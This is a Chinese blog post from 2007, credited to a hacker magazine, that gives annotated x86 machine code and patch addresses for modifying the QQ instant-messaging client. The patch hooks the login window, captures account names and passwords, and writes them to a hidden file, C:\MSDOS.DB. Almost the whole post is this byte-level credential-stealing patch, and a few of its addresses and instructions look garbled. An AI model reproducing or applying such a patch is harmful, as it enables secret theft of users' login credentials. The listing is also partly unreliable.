信息来源:黑客X档案
在4002D0处写入字符串:C:\MSDOS.DB
在4002E0处写入0DH,0AH
在4002F0处写入字符串:C:\FLAGE.DB
在400300处写入代码:
400300:50 PUSH EAX;保存EAX的值到堆栈中
400301:58 POP EAX;退栈,但堆栈中已经保存了EAX的值
400302:83C408 ADD ESP,8;退栈(2个双字),原堆栈的值暂时不会被改写
400305:A1FCF7A100 MOV EAX,[A1F7FC];将A1F7FC单元保存的数值存放到EAX寄存器中
40030A:36870424 XCHG EAX,SS:[ESP];交换堆栈顶与EAX的值
40030E:36874424FC XCHG EAX,SS:[ESP-4];交换堆栈顶与堆栈顶-4处的值
400313:36874424F8 XCHG EAX,SS:[ESP-8];交换堆栈顶-4与堆栈顶-8处的值
400318:83EC0C SUB ESP,C;堆栈顶向下移动3个双字
40031B:36870424 XCHG EAX,SS:[ESP];交换堆栈顶-8与现在堆栈顶即原堆栈底-C的值,这样做的好处是将[A1F7FC]的值存放到原堆栈顶+8处,同时,原堆栈顶+8处的值后移一个双字,在将堆栈顶-4,即进栈一个双字
40031F:FF1528D66100 CALL GETWINDOWTEXTA;获得窗口的标题文字
400325:36870424 XCHG EAX,SS:[ESP];保存EAX即函数返回值到堆栈顶,同时得到DS:[A1F7FC]处的值
400329:9C PUSHFD;保存标志寄存器的值
40032A:3D00D98E01 CMP EAX,18ED900;比较EAX的值是否大于18ED900大于表示将在读密码或账号需要记录,小于表示没有读取密码或账号无需记录
40032F:0F8652000000 JNA 400387;无需记录则跳转
400335:60 PUSHAD;保存16个通用寄存器的值
400336:6800000000 PUSH 0
40033B:6802000000 PUSH 2
400340:6801000000 PUSH 1
400345:6800000000 PUSH 0
40034A:6800000000 PUSH 0
40034F:68000000C0 PUSH C0000000
400354:68F0024000 PUSH 4002F0
400359:FF15D0D26100 CALL CREATEFILEA;调用创建文件函数,如文件存在则失败
40035F:83F8FF CMP EAX,-1;EAX保存有函数返回值,为-1表示不成功,其他表示成功(返回值为文件句柄)
400362:0F841E000000 JZ 400386;不成功则跳转
400368:50 PUSH EAX;保存文件句柄到堆栈
400369:FF1538D36100 CALL CLOSEHANDLE;调用关闭文件函数
40036F:6884034000 PUSH 400384;保存程序返回地址
400374:FF35FCF7A100 PUSH [A1F7FC];保存密码存放地址
40037A:FF3500F8A100 PUSH [A1F800];保存账号存放地址
400380:6800044000 PUSH 400400;保存程序跳转地址(即调用保存用户名及密码函数)
400385:C3 RET;程序转向
400386:61 POPAD;还原16个通用寄存器
400387:9D POPFD;还原标志寄存器
400388:58 POP EAX;还原EAX的值
400389:6800064000 PUSH 400600;保存程序跳转地址
40038E:C3 RET;程序转向
在400400处写入子功能代码(此功能代码的作用是将用户名及密码写入C:\MSDOS.DB文件末尾,要求参数为密码、用户名存放地址,同时要求必须先将密码压入堆栈)
400400:6800000000 PUSH 0
400405:6802000000 PUSH 2
40040A:6804000000 PUSH 4
40040F:6800000000 PUSH 0
400414:6800000000 PUSH 0
400419:68000000C0 PUSH C0000000
40041E:68D0024000 PUSH 4002D0
400423:FF15D0D26100 CALL CREATEFILEA;创建文件,如文件存在则打开文件,EAX返回文件句柄,如为-1则失败
400429:83F8FF CMP EAX,-1
40042C:0F8477000000 JZ 4004A9;失败则跳转
400432:50 PUSH EAX;保存文件句柄
400433:6802000000 PUSH 2
400438:6800000000 PUSH 0
40043D:6800000000 PUSH 0
400442:50 PUSH EAX
400443:FF1584D36100 CALL SETFILEPOINTER;设置文件指针到文件末尾
400449:58 POP EAX;还原文件句柄
40044A:59 POP ECX;得到用户名存放地址
40044B:51 PUSH ECX;保存用户名存放地址
40044C:8BD8 MOV EBX,EAX;保存句柄到EBX寄存器
40044E:51 PUSH ECX;保存用户名存放地址
40044F:FF151CD36100 CALL LSTRLENA;调用得到字符串长度函数,由EAX返回字符串长度
400455:40 INC EAX;字符串长度加1,使程序多填入一个16进制的0(相当于空格字符),方便将用户名与密码分开
400456:59 POP ECX;得到用户名存放地址
400457:6800000000 PUSH 0
40045C:681CF8A100 PUSH A1F81C
400461:50 PUSH EAX
400462:51 PUSH ECX;保存用户名存放地址
400463:53 PUSH EBX
400464:FF157CD36100 CALL WRITEFILE;将用户名写入创建的文件
40046A:59 POP ECX;得到密码存放地址
40046B:51 PUSH ECX;保存密码存放地址
40046C:51 PUSH ECX
40046D:FF151CD36100 CALL LSTRLENA;得到密码的长度
400473:59 POP ECX;得到密码存放地址
400474:6800000000 PUSH 0
400479:681CF8A100 PUSH A1F81C
40047E:50 PUSH EAX
40047F:51 PUSH ECX
400480 :53 PUSH EBX
400481:FF157CD36100 CALL WRITEFILE;将密码写入文件
400487:6800000000 PUSH 0
40048C:681CF8A100 PUSH A1F81C
400491:6802000000 PUSH 2
400496:68E0024000 PUSH 4002E0
40049B:53 PUSH EBX
4004AC:FF1538D36100 CALL WRITEFILE;将回车、换行符写入文件
4004A2:53 PUSH EBX;保存文件句柄
4004A3:FF1538D36100 CALL CLOSEHANDLE;关闭文件
4004A9:C3 RET;返回调用程序
在400500处写入代码:
400500:60 PUSHAD
400501:68F0024000 PUSH 4002F0
400506:FF1520D36100 CALL DELETEFILEA;删除标志文件
40050C:61 POPAD
40050D:68538F5800 PUSH 588F53;保存原QQ程序被中断点地址
400512:64A100000000 MOV EAX,FS:[0];原QQ程序中被替换的代码,依据环境工程学的观点应该保持程序运行环境不变,因此必须还原其寄存器、堆栈、指令,此处就是还原其被替换的指令
400518:C3 RET;返回原QQ程序被中断点
在400600处写入代码:
400600:60 PUSHAD
400601:6800000000 PUSH 0
400606:6802000000 PUSH 2
40060B:6801000000 PUSH 1
400610:6800000000 PUSH 0
400615:6800000000 PUSH 0
40061A:68000000C0 PUSH C0000000
40061F:68F024000 PUSH 4002F0
400624:FF15D0D26100 CALL CREATEFILEA;创建文件,当文件存在时则打开文件
40062A:83F8FF CMP EAX,-1
40062D:0F84FB000000 JZ 40072E;出错则跳转
400633:50 PUSH EAX;保存文件句柄
400634:8BD8 MOV EBX,EAX;保存文件句柄到EBX寄存器
400636:6800000000 PUSH 0
40063B:681CF8A100 PUSH A1F81C
400640:6808000000 PUSH 8
400645:FF7510 PUSH [ESP+10]
400648:58 POP EAX
400649:83E804 SUB EAX,4;得到要写入数据的地址
40064C:59 PUSH EAX;将其压入堆栈
40064D:90 NOP
40064E:90 NOP
40064F:90 NOP
400650:53 PUSH EBX
400651:FF157CD36100 CALL WRITEFILE;将数据写入文件,此处只能使用WINDOWS系统调用,WINDOWS系统调用将运行于特权级,只有它才能访问任何内存(包括读、写、执行)而不引发非法操作,否则会引发内存越权访问错误,从而引发非法操作
400657:6800000000 PUSH 0
40065C:6800000000 PUSH 0
400661:6800000000 PUSH 0
400666:53 PUSH EBX
400667:FF1584D36100 CALL SETFILEPOINTER;设置文件指针到文件的开始处
40066D:58 POP EAX;得到文件句柄
40066E:50 PUSH EAX;保存文件句柄
40066F:50 PUSH EAX
400670:50 PUSH EAX;这两个EAX的存储位置实际被用于存储从文件中读取的数据,因此不用EAX寄存器用别的寄存器也行,因为我们没有写别的内存的权力,因此只有利用堆栈,任何应用程序都有修改堆栈的权利,因此,只有堆栈才能被用于暂时存放数据,而不会引发由于越权访问引发的非法操作
400671:6800000000 PUSH 0
400676:681CF8A100 PUSH A1F81C
40067B:6808000000 PUSH 8
400680:54 PUSH ESP
400681:368B0424 MOV EAX,[SS:ESP]
400685:38C010 ADD EAX,10;修改数据写入地址
400688:36890424 MOV [SS:ESP] ,EAX
40068C:53 PUSH EBX
40068D:FF15D8D26100 CALL READFILE;将数据读取到堆栈中
400693:90 NOP;空操作,此处是由于我修改代码造成代码不连续,从而填充空操作,是代码连续
400694:90 NOP
400695:90 NOP
400696:90 NOP
…… …… ……
4006B5:90 NOP
4006B6:FF1538D36100 CALL CLOSEHANDLE;关闭标志文件
4006BC:68F0024000 PUSH 4002F0
4006C1:FF1520D36100 CALL DELETEFILEA;删除标志文件
4006C7:58 POP EAX;得到密码存放地址
4006C8:5B POP EBX;得到用户名存放地址
4006C9:50 PUSH EAX;保存密码存放地址
4006CA:53 PUSH EBX;保存用户名存放地址
4006CB:53 PUSH EBX;保存用户名存放地址
4006CC:50 PUSH EAX;保存密码存放地址
4006CD:FF151CD36100 CALL LSTRLENA;得到密码的长度
4006D3:83F800 CMP EAX,0;比较密码的长度是否为0
4006D6:740D JZ 4006E5是则跳转
4006D8:FF151CD36100 CALL LSTRLENA;得到用户名长度
4006DE:83F800 CMP EAX,0;比较用户名长度是否为0
4006E1:7507 JNZ 4006EA;不为0则,跳转到保存用户名及密码的代码段
4006E3:7401 JZ 4006E6;为0则,跳转到程序结束
4006E5:5B POP EBX;因堆栈被占用3个双字,因此需要3次退栈操作
4006E6:58 POP EAX
4006E7:58 POP EAX
4006E8:EB44 JMP 40072E;跳转到程序结束
4006EA:58 POP EAX;得到用户名存放地址
4006EB:5B POP EBX;得到密码存放地址
4006EC:68F9064000 PUSH 4006F9;保存程序返回地址
4006F1:53 PUSH EBX;保存密码存放地址
4006F2:50 PUSH EAX;保存用户名存放地址
4006F3:6800044000 PUSH 400400;保存程序转移地址(即调用保存用户名及密码函数)
4006F8:C3 RET;程序转向
4006F9:6800000000 PUSH 0
4006FE:6802000000 PUSH 2
400703:6801000000 PUSH 1
400708:6800000000 PUSH 0
40070D:6800000000 PUSH 0
400712:68000000C0 PUSH C0000000
400717:68F0024000 PUSH 4002F0
40071C:FF15D0D26100 CALL CREATEFILEA;创建标志文件
400722:83F8FF CMP EAX,-1
400725:7407 JZ 40072E
400727:50 PUSH EAX
400728:FF1538D36100 CALL CLOSEHANDLE;关闭标志文件
40072E:61 POPAD;还原16个通用寄存器的值
40072F:68E2B15C00 PUSH 5CB1E2;保存原QQ程序被中断点地址
400734:C3 RET;返回原QQ程序被中断点地址
在5CB1DC处写入代码:
5CB1DC:6800034000 PUSH 400300
5CB1E1:C3 RET
其原代码为FF1528D66100即CALL GETWINDOWTEXTA
在588F4D处写入代码:
588F4D:6800054000 PUSH 400500
588F52:C3 RET
其原代码为64A100000000即MOV EAX,FS:[0]
地震让大伙知道:居安思危,才是生存之道。
posted on 2007-02-21 12:35
小寻 阅读(1022)
评论(0) 编辑 收藏 所属分类:
嵌入式开发 、
计算机病毒反病毒学